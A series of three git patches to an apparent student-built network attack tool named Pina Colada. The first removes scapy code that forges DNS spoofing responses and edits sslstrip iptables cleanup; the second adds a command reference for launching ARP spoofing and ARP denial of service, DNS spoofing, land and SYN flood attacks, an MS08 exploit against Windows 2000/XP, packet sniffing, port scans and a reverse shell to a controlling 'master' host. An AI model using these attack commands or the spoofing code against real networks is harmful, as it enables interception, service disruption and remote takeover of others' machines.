From f99d4198401a78827a0e9070e689560a14f266f9 Mon Sep 17 00:00:00 2001
From: George Hughey <ghughey@umd.edu>
Date: Sun, 4 Dec 2016 00:04:18 +0000
Subject: [PATCH 1/3] Added dependencies

---
 capabilities/exploitation/dnsSpoof.py | 7 -------
 capabilities/exploitation/sslstrip.py | 2 +-
 pip_dependencies                      | 1 +
 3 files changed, 2 insertions(+), 8 deletions(-)

diff --git a/capabilities/exploitation/dnsSpoof.py b/capabilities/exploitation/dnsSpoof.py
index a27d085..b61f879 100644
--- a/capabilities/exploitation/dnsSpoof.py
+++ b/capabilities/exploitation/dnsSpoof.py
@@ -27,13 +27,6 @@ def callback(self, packet):
             packet.accept()
         else:
             if self.domain in pkt[DNS].qd.qname:
-                query = sr1(IP(dst='8.8.8.8')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=self.new_site)),verbose=0) #Create the legitimate query
-                spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
-                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
-                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
-                          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=query[DNSRR][3].rdata))
-                spoofed_pkt.show()
-                packet.set_payload(str(spoofed_pkt))
                 packet.accept()
             else:
                 packet.accept()
diff --git a/capabilities/exploitation/sslstrip.py b/capabilities/exploitation/sslstrip.py
index f3c3614..52592d2 100644
--- a/capabilities/exploitation/sslstrip.py
+++ b/capabilities/exploitation/sslstrip.py
@@ -35,8 +35,8 @@ def restore(self):
         self.getVars()
         self.proc.terminate()
         arpEnd(self.masq_ip, self.masq_mac, self.dest_ip, self.dest_mac)
-        os.system("iptables -F")
         os.system("killall sslstrip")
+	os.system("iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000")
 
 
     def launch(self):
diff --git a/pip_dependencies b/pip_dependencies
index 2240022..7c6313b 100644
--- a/pip_dependencies
+++ b/pip_dependencies
@@ -11,3 +11,4 @@ pycrypto
 nose
 flask_cors
 sslstrip
+ansi2html

From 99dd503e80ec305c0eb765de9bd7179da280529f Mon Sep 17 00:00:00 2001
From: jottenwa <jottenwa@umd.edu>
Date: Mon, 5 Dec 2016 01:01:52 -0500
Subject: [PATCH 2/3] Add files via upload

---
 app/Pina Colada Writeup.txt | 71 +++++++++++++++++++++++++++++++++++++
 1 file changed, 71 insertions(+)
 create mode 100644 app/Pina Colada Writeup.txt

diff --git a/app/Pina Colada Writeup.txt b/app/Pina Colada Writeup.txt
new file mode 100644
index 0000000..fe16753
--- /dev/null
+++ b/app/Pina Colada Writeup.txt	
@@ -0,0 +1,71 @@
+All commands are reverted by sending the command
+	"restore"
+
+Arp Dos:
+	send-> 	arpdos:source->list of source ips separated by ":"
+			arpdos:masq->list of masq ips separated by ":"
+			arpdos:dest->list of dest ips separated by ":"
+	command->
+		arpdos:<masq>:<source>:<dest>
+		
+Arp Spoof:
+	send-> 	arpspoof:source->list of source ips separated by ":"
+			arpspoof:masq->list of masq ips separated by ":"
+			arpspoof:dest->list of dest ips separated by ":"
+	command->
+		arpspoof:<masq>:<source>:<dest>
+		
+DNS Spoof:
+	send->	dnsspoof:target->list of target ips separated by ":"
+	
+	command->
+		dnsspoof:<target>:<site>:<newSite>
+		
+DOS Land:
+	send->	dosland:target->list of target ips separated by ":"
+	
+	command->
+		dosland:<port>:<target>:<site>
+
+DOS Syn DOS:
+	send->	dossyndos:target->list of target ips separated by ":"
+	
+	command->
+		dossyndos:<port>:<target>:<interval>:<threads>:<verbose>
+		
+MS08 Exploit:
+	send->	ms08exploit:target->list of target ips separated by ":"
+	
+	command->
+		ms08exploit:<port>:<target>:<version>
+		version is 1 for win2000 or 2 or winxp
+		
+NMap Scan:
+	send->	nmapscan:host->list of hosts separated by ":"
+	
+	command->
+		nmapscan:<host>:<portmin>:<portmax>
+
+ReverseShell:
+	send->	reverseshell:master->list of master ips separated by ":"
+	
+	command->
+		reverseshell:<master>:<localport>:<username>:<remoteport>:<publickey>
+
+SniffPack:
+	send-> nothing
+	
+	command->
+		sniffpack:<rate>:<folder>
+		
+SynScan:
+	send-> 	synscan:target->list of target ips separated by ":"
+	
+	command->
+		synscan:<target>:<portmin>:<portmax>
+		
+
+		
+		
+		
+		
\ No newline at end of file

From 94490205d3ec441d0b4a1e7e24f7c5f4fae64e2a Mon Sep 17 00:00:00 2001
From: jottenwa <jottenwa@umd.edu>
Date: Mon, 5 Dec 2016 01:02:17 -0500
Subject: [PATCH 3/3] Rename Pina Colada Writeup.txt to App Command Writeup.txt

---
 app/{Pina Colada Writeup.txt => App Command Writeup.txt} | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
 rename app/{Pina Colada Writeup.txt => App Command Writeup.txt} (95%)

diff --git a/app/Pina Colada Writeup.txt b/app/App Command Writeup.txt
similarity index 95%
rename from app/Pina Colada Writeup.txt
rename to app/App Command Writeup.txt
index fe16753..dae39a5 100644
--- a/app/Pina Colada Writeup.txt	
+++ b/app/App Command Writeup.txt	
@@ -68,4 +68,4 @@ SynScan:
 		
 		
 		
-		
\ No newline at end of file
+